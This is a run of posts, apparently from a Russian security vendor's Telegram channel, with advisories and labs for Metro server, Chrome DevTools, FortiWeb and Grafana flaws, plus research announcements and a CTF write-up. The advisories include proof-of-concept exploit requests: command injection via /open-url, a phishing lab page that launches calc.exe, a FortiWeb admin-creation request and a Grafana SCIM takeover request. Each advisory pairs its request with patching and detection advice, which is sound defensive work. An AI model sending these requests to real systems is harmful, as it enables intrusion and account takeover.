export default connect().use(json()).use(openURLMiddleware);Значение параметра url, отправленного в JSON теле POST-запроса, предаётся в open() без надлежащий валидации.
Исправление:
try {
const parsedUrl = new URL(url);
if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:') {
res.writeHead(400);
res.end('Invalid URL protocol');
return;
}
} catch (error) {
res.writeHead(400);
res.end('Invalid URL format');
return;
}
await open(url);Исправление проверяет, что параметр url означает именно URL в
new URL с протоколом http/https в if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:').0.0.0.0:[port].Важно: поведение
open() отличается между Windows и Unix подобными системами.cmd /c start "" /b cmd /c echo abc > c:\temp\pwned.txt.Короче: Windows — риск RCE через командную строку, macOS/Linux — риск через URI обработчики и
file:/// smb://.Уязвимая конечная точка:
/open-url.curl -X POST http://metro-server-host:8081/open-url -H "Content-Type: application/json" -d "{\"url\":\"cmd /c echo abc ^> c:\\temp\\poc.txt\"}"1) Обновиться.
2) Запускать сервер строго на localhost.
3) Написать блокирующее правило (IDS/WAF) на POST-запросы, которые идут к конечной точке /open-url, где в качестве значения параметра url передается строка отличная от http(s)://[domain].[exp].
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4👀1👾1
Лабораторная работа CVE-2025-12907
Уязвимость CVE-2025-12907 связана с недостаточной проверкой ненадежного ввода в инструментах разработчика (Devtools) Google Chrome в версиях до 140.0.7339.80.
🫡 Метрики
🫡 Об уязвимости
Текущая реализация DevTools «Копировать как cURL (cmd)» не очищает символ табуляции (\t). Так как cmd.exe интерпретирует табуляцию как разделитель (аналог пробела), злоумышленник может вставить в полезную нагрузку символ табуляции, затем символ разделителя команд (например, &) и перевод строки. В результате аргумент cURL будет проигнорирован и при вставке текста в командную строку выполнятся дополнительные произвольные команды.
Рекомендуем обновиться.
🫡 Лабораторный стенд
Windows 7/10/11
Google Chrome < 140.0.7339.80
Html код (ниже)
Python3
Протестировано на Windows 7 и Google Chrome Version 109.0.5414.120 (Official Build) (32-bit).
😬 Этапы лабораторной работы
1) Создайте и сохраните страницу на сервере. Для примера эта будет фишинговая страница с сообщением «Техническая поддержка не работает» и просьбой отправить тестовый сURL. Название файла — lab_cve-CVE-2025-12907.html.
2) Запустите http-сервер через
3) Откройте Google Chrome с уязвимой версией и переходите на страницу с вредоносным кодом, в нашем случае это lab_cve-CVE-2025-12907.html.
4) Откройте DevTools - > network -> обновите страницу -> выберите запрос -> копировать -> копировать как cURL(cmd).
5) Вставьте полученный код в консоль (cmd). Если появилось сообщение «Продолжить», нажмите Enter.
6) Результат — открытые calc.exe.
😬 Html код (lab_cve-CVE-2025-12907.html)
Уязвимость CVE-2025-12907 связана с недостаточной проверкой ненадежного ввода в инструментах разработчика (Devtools) Google Chrome в версиях до 140.0.7339.80.
CWE: CWE-20
Текущая реализация DevTools «Копировать как cURL (cmd)» не очищает символ табуляции (\t). Так как cmd.exe интерпретирует табуляцию как разделитель (аналог пробела), злоумышленник может вставить в полезную нагрузку символ табуляции, затем символ разделителя команд (например, &) и перевод строки. В результате аргумент cURL будет проигнорирован и при вставке текста в командную строку выполнятся дополнительные произвольные команды.
Рекомендуем обновиться.
Windows 7/10/11
Google Chrome < 140.0.7339.80
Html код (ниже)
Python3
Протестировано на Windows 7 и Google Chrome Version 109.0.5414.120 (Official Build) (32-bit).
1) Создайте и сохраните страницу на сервере. Для примера эта будет фишинговая страница с сообщением «Техническая поддержка не работает» и просьбой отправить тестовый сURL. Название файла — lab_cve-CVE-2025-12907.html.
2) Запустите http-сервер через
python3 -m http.server 8111. Если хотите указать путь до файла, то используйте флаг. --directory /example
3) Откройте Google Chrome с уязвимой версией и переходите на страницу с вредоносным кодом, в нашем случае это lab_cve-CVE-2025-12907.html.
4) Откройте DevTools - > network -> обновите страницу -> выберите запрос -> копировать -> копировать как cURL(cmd).
5) Вставьте полученный код в консоль (cmd). Если появилось сообщение «Продолжить», нажмите Enter.
6) Результат — открытые calc.exe.
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<noscript>Тех поддержка не работает</noscript>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
color: #333;
padding: 40px;
max-width: 600px;
margin: auto;
}
h1 {
color: #c0392b;
text-align: center;
margin-bottom: 20px;
}
p {
font-size: 18px;
line-height: 1.5;
background: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
}
code {
background-color: #eee;
padding: 3px 6px;
border-radius: 3px;
font-family: monospace;
}
</style>
</head>
<body>
<h1>Техническая поддержка не работает</h1>
<p>Пример тестового сетевого запроса с помощью <code>fetch</code>. Чтобы проверить сеть, откройте F12, скопируйте запрос как <code>cURL(cmd)</code> и отправьте его через консоль.</p>
<noscript>
fetch("/copy-me", {
credentials: "omit",
headers: {
"Accept-Language": "en-US",
"Content-Type": "text/plain",
},
body: "\t \t\t \r\ncalc.exe \t \t\f\v",
method: "POST",
});
</noscript>
</body>
</html>
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12✍4⚡2❤1👾1
Shedding Zmiy против популярной CMS
Когда анализировали инструментарий проукраинской группировки Shedding Zmiy, мы наткнулись на необычную утилиту. Она называлась Install.
👀 Мы детально проанализировали утилиту и выяснили, что она (если получит несанкционированный доступ к веб-серверу) предназначалась для расширения привилегий в инфраструктуре через уязвимость (нулевого дня на тот момент) в настройках веб-сервера из инструмента «виртуальная машина», который используется для быстрого развертывания популярной российской CMS Bitrix.
Про уязвимость мы уже писали у нас в канале. Она закрыта, и если вы не обновились, то сделайте это скорее.
В новой статье в блоге рассказываем о механизме действия уязвимости, а также о правилах безопасного управления правами доступа, которыми затрудняют жизнь атакующих.
Когда анализировали инструментарий проукраинской группировки Shedding Zmiy, мы наткнулись на необычную утилиту. Она называлась Install.
Про уязвимость мы уже писали у нас в канале. Она закрыта, и если вы не обновились, то сделайте это скорее.
В новой статье в блоге рассказываем о механизме действия уязвимости, а также о правилах безопасного управления правами доступа, которыми затрудняют жизнь атакующих.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7🔥6🤯4👾1
Критическая уязвимость Fortinet FortiWeb (CVE-2025-64446)
CVE-2025-64446 — уязвимость обхода относительного пути в Fortinet. Уязвимые версии: Fortinet FortiWeb 8.0.0–8.0.1, FortiWeb 7.6.0–7.6.4, FortiWeb 7.4.0–7.4.9, FortiWeb 7.2.0–7.2.11, FortiWeb 7.0.0–7.0.11.
👽 Метрики
👽 Об уязвимости
Сканирования системы могут начаться с простого — с проверки доступности фала
Сканирование на доступность начинается с GET- или POST-запроса на:
Ответ:
Означает: файл доступен.
Уязвимость усугубляется тем, что злоумышленник может отправить запрос на создание нового пользователя с ролью «Администратор». Для этого отправляется POST на вышеуказанный
И телом, которое представляет собой JSON с данными нового пользователя.
Небольшое уточнение: часть /api/v регистронезависима.
👽 Как защищаться
1) Блокирующее правило WAF/IDS на запросы к /api/v.., которые содержат в пути попытки обхода директорий
2) Проверка обращений к /fwbcgi из внешней сети.
3) Обновление.
4) Ревизия недавно созданных пользователей.
CVE-2025-64446 — уязвимость обхода относительного пути в Fortinet. Уязвимые версии: Fortinet FortiWeb 8.0.0–8.0.1, FortiWeb 7.6.0–7.6.4, FortiWeb 7.4.0–7.4.9, FortiWeb 7.2.0–7.2.11, FortiWeb 7.0.0–7.0.11.
Base Score: 9.8 CRITICAL
CWE: CWE-23
Сканирования системы могут начаться с простого — с проверки доступности фала
fwbcgi. Файл fwbcgi отвечает за обработку определённых запросов CGI, в том числе аутентификацию и выполнение административных команд. Сканирование на доступность начинается с GET- или POST-запроса на:
/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi
Ответ:
{"errcode": "0", "message": "(null)"}Означает: файл доступен.
Уязвимость усугубляется тем, что злоумышленник может отправить запрос на создание нового пользователя с ролью «Администратор». Для этого отправляется POST на вышеуказанный
/../../../../../cgi-bin/fwbcgi с заголовками вида (указано в формате ключ – значение):{'CGIINFO': 'eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==', 'Content-Type': 'application/x-www-form-urlencoded'}И телом, которое представляет собой JSON с данными нового пользователя.
Небольшое уточнение: часть /api/v регистронезависима.
1) Блокирующее правило WAF/IDS на запросы к /api/v.., которые содержат в пути попытки обхода директорий
../. Также необходимо учесть, что злоумышленник в атаках может использовать методы обхода стандартных сигнатур WAF/IDS. Например, как на скриншоте.2) Проверка обращений к /fwbcgi из внешней сети.
3) Обновление.
4) Ревизия недавно созданных пользователей.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6✍4❤2👾1
Четыре луча
⌛️ Регистрация на SOC Forum 2025 закрывается 7 ноября Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили. 🫡 IDFKA Backdoor: скрытая угроза Rust-имплантов в современных APT-атаках 18 ноября, 10:30, зал 3 Разберем ход расследования…
Расскажем интересное на SOC Forum уже сегодня!
18 и 20 ноября на форуме выступят эксперты Solar 4RAYS. Расписание наших выступлений публиковали раньше.
Ждем вас в Тимирязев Центре и на онлайн-трансляции❤️
18 и 20 ноября на форуме выступят эксперты Solar 4RAYS. Расписание наших выступлений публиковали раньше.
Ждем вас в Тимирязев Центре и на онлайн-трансляции
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12❤6😎3
Следующая остановка — ZeroNights!
SOC Forum закончился, но впереди еще одна классная конференция по кибербезопасности — ZeroNights. Если вы (как и мы) планируете 26 ноября быть в Санкт-Петербурге и заглянуть в гости к Матришу, то у нас для вас послание:
NWQgM2MgMzEgMmMgMjcgMTQgNjQgN2MgNzkgMDggNGQgMWQgMzQgMDYgMzIgNjYgMTcgMWUgMzAgMWQgNjk=
Расшифровали и ничего не поняли? Все подробности на нашем стенде 26 ноября. До встречи❤️
SOC Forum закончился, но впереди еще одна классная конференция по кибербезопасности — ZeroNights. Если вы (как и мы) планируете 26 ноября быть в Санкт-Петербурге и заглянуть в гости к Матришу, то у нас для вас послание:
Расшифровали и ничего не поняли? Все подробности на нашем стенде 26 ноября. До встречи
Please open Telegram to view this post
VIEW IN TELEGRAM
❤23👏9🥰7🤡2👍1🔥1👾1
Повышение привилегий в Grafana Enterprise (CVE-2025-41115)
CVE-2025-41115 — уязвимость связана с ошибкой в обработке идентификаторов пользователей через SCIM. Система позволяет создать пользователя с внешним идентификатором (externalId) числового вида, например «1», который может совпадать или интерпретироваться как внутренний ID пользователя в Grafana.
Уязвимые версии Grafana Enterprise: 12.0.0 ≤ версия ≤ 12.2.1
😬 Метрики
😬 Об уязвимости
Она возникает при установке флагов
Grafana напрямую сопоставляет
Пример запроса, который эксплуатирует уязвимость:
/api/scim/v2/Users — конечная точка для управления пользователями. Например, чтобы создать пользователя через POST-запрос.
Authorization — заголовок авторизации: его значение могут скомпрометировать или использовать дефолтное значение, как в публичных эксплойтах.
Body — это спецификация SCIM RFC 7644. В теле запроса и содержится параметр
😬 Как защищаться
1) Регулярно обновляться.
2) Анализировать запросы к /api/scim/v2/Users из внешних сетей с заголовком Authorization, у которого значения отличаются от сгенерированных или выданных токенов.
3) Анализировать запросы к /api/scim/v2/Users из внешних сетей с параметром
4) Если нельзя быстро обновиться, то установить
Другой вариант — написать блокирующие IDS/WAF-правила на POST-запросы к /api/scim/v2/Users со значением
CVE-2025-41115 — уязвимость связана с ошибкой в обработке идентификаторов пользователей через SCIM. Система позволяет создать пользователя с внешним идентификатором (externalId) числового вида, например «1», который может совпадать или интерпретироваться как внутренний ID пользователя в Grafana.
Уязвимые версии Grafana Enterprise: 12.0.0 ≤ версия ≤ 12.2.1
Base Score: 10.0 CRITICAL
CWE: CWE-266
Она возникает при установке флагов
[feature_toggles] enableSCIM = true и [auth.scim] user_sync_enabled = true в конфигурации Grafana.Grafana напрямую сопоставляет
SCIM externalId с внутренним user.uid, поэтому числовые значения «1» и другие могут быть интерпретированы как внутренние числовые идентификаторы пользователей. ExternalId — этот параметр контролирует злоумышленник в POST-запросах. Пример запроса, который эксплуатирует уязвимость:
POST /api/scim/v2/Users HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Authorization: Bearer glsa_00000000000000000000000000000000_00000000000000000000000000000000
Content-Type: application/scim+json
Content-Length: 239
{"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "userName": "adminLol", "externalId": "1", "name": {"formatted": "Pwned User"}, "emails": [{"value": " adminLol ", "primary": true}], "active": true}
/api/scim/v2/Users — конечная точка для управления пользователями. Например, чтобы создать пользователя через POST-запрос.
Authorization — заголовок авторизации: его значение могут скомпрометировать или использовать дефолтное значение, как в публичных эксплойтах.
Body — это спецификация SCIM RFC 7644. В теле запроса и содержится параметр
externalId, который вызывает коллизию. 1) Регулярно обновляться.
2) Анализировать запросы к /api/scim/v2/Users из внешних сетей с заголовком Authorization, у которого значения отличаются от сгенерированных или выданных токенов.
3) Анализировать запросы к /api/scim/v2/Users из внешних сетей с параметром
externalId, который содержит небольшие значения, например 1-10.4) Если нельзя быстро обновиться, то установить
enableSCIM = false и [auth.scim] user_sync_enabled = false.Другой вариант — написать блокирующие IDS/WAF-правила на POST-запросы к /api/scim/v2/Users со значением
externalId, которое равно числам в диапазоне, например 1-10.Please open Telegram to view this post
VIEW IN TELEGRAM
❤13🔥3✍1👍1👀1👾1
NGC5081 атакует телеком с помощью продвинутого бэкдора IDFKA 👁
В конце мая эксперты Solar 4RAYS подключились к расследованию инцидента в телекоммуникационной компании, который начался с оповещения Solar JSOC о выполнении bash-команд посредством БД PostgreSQL в одном из внутренних контуров инфраструктуры.
💡 Поиск источника активности привел нас к подрядчику этой организации — IT-компании, которая администрировала эту базу данных. В сети подрядчика мы обнаружили минимум две группировки атакующих, одна из которых (мы назвали ее NGC5081) использовала ранее неизвестный бэкдор на языке Rust — мы назвали его IDFKA.
С помощью этого бэкдора атакующие 10 месяцев сохраняли доступ к IT-инфраструктуре подрядчика, а также получили доступ к базам компаний-клиентов с информацией об абонентах и метаинформацией об их звонках.
Подробности — в нашей новой статье.
В конце мая эксперты Solar 4RAYS подключились к расследованию инцидента в телекоммуникационной компании, который начался с оповещения Solar JSOC о выполнении bash-команд посредством БД PostgreSQL в одном из внутренних контуров инфраструктуры.
С помощью этого бэкдора атакующие 10 месяцев сохраняли доступ к IT-инфраструктуре подрядчика, а также получили доступ к базам компаний-клиентов с информацией об абонентах и метаинформацией об их звонках.
Подробности — в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👀5❤4👻1👾1
Mycelium, Octopus и Leech — рассказываем о новом инструментарии группировки Shedding Zmiy
✅ В марте мы выпустили статью о новых инструментах Shedding Zmiy. В том же инциденте мы обнаружили не только руткиты Puma и Kitsune, но и еще несколько новых утилит, написанных на Rust, которые могут использовать злоумышленники для закрепления в системе и постэксплуатации.
Обратили внимание и на техники, которые используют данные вредоносы, и то, как они взаимодействуют между собой. В новой статье рассматриваем:
— как утилиты помогают повысить привилегии;
— каким образом происходит закрепление в системе и дальнейшая маскировка;
— какие возможности получает злоумышленник при попадании этих вредоносов в систему.
Обратили внимание и на техники, которые используют данные вредоносы, и то, как они взаимодействуют между собой. В новой статье рассматриваем:
— как утилиты помогают повысить привилегии;
— каким образом происходит закрепление в системе и дальнейшая маскировка;
— какие возможности получает злоумышленник при попадании этих вредоносов в систему.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14⚡6🤯4👾1
Решение задания с ZeroNights
Всем участникам конференции ZeroNights мы предлагали пройти квест. Были те, кто справился — молодцы, поздравляем! Но еще подготовили разбор задания для всех желающих.
😬 На входе участник получал дамп сетевого трафика в формате .pcap. При его детальном анализе он мог заметить локальный TFTP-трафик от 127.0.0.1 к 127.0.0.1. Ему нужно было воспользоваться функцией Wireshark, которая позволяет экспортировать передаваемые объекты данного протокола, чтобы получить архив Important.zip.
В архиве три файла:
Текстовый документ открывается в любом редакторе. Внутри такое сообщение:
На photo.png — роботизированная собака. С помощью подсказки участник должен был проанализировать изображение и заметить встроенный текстовый chunk (tEXt):
😬 Дальше было важно понять, для чего нужен этот фрагмент. Для этого нужно проанализировать последний файл из архива song.wav, который при открытии издает монотонный звук.
Файл выглядит как обычный .wav, но его размер подозрительно большой. При подробном анализе файла можно было заметить намеренно оставленный маркер GPG_START. И если вытащить не связанную со звуком информацию в HEX-редакторе и сохранить её в отдельном файле, то участник получит file fs.gz.gpg.
Это зашифрованный gzip-архив. Пароль для его расшифровки — фрагменты Solar + ik42. Архив содержал в себе файловую систему fs, которую нужно было смонтировать:
Текстовый документ содержал в себе флаг к этой задаче:
Это финал! Ставим лайк победителям квеста❤️
Всем участникам конференции ZeroNights мы предлагали пройти квест. Были те, кто справился — молодцы, поздравляем! Но еще подготовили разбор задания для всех желающих.
В архиве три файла:
- doc.txt
- photo.png
- song.wav
Текстовый документ открывается в любом редакторе. Внутри такое сообщение:
My pet's name: Solar
The rest is hidden in the image.
На photo.png — роботизированная собака. С помощью подсказки участник должен был проанализировать изображение и заметить встроенный текстовый chunk (tEXt):
SECRET=ik42
Файл выглядит как обычный .wav, но его размер подозрительно большой. При подробном анализе файла можно было заметить намеренно оставленный маркер GPG_START. И если вытащить не связанную со звуком информацию в HEX-редакторе и сохранить её в отдельном файле, то участник получит file fs.gz.gpg.
Это зашифрованный gzip-архив. Пароль для его расшифровки — фрагменты Solar + ik42. Архив содержал в себе файловую систему fs, которую нужно было смонтировать:
sudo mount -o loop fs mnt
ls -R mnt
mnt/
└── secret_dir
└── final.txt
Текстовый документ содержал в себе флаг к этой задаче:
Solar4Rays{S0RR4_F0R_ST3G0_AG41N}Это финал! Ставим лайк победителям квеста
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥34❤9😁5⚡3👍1👾1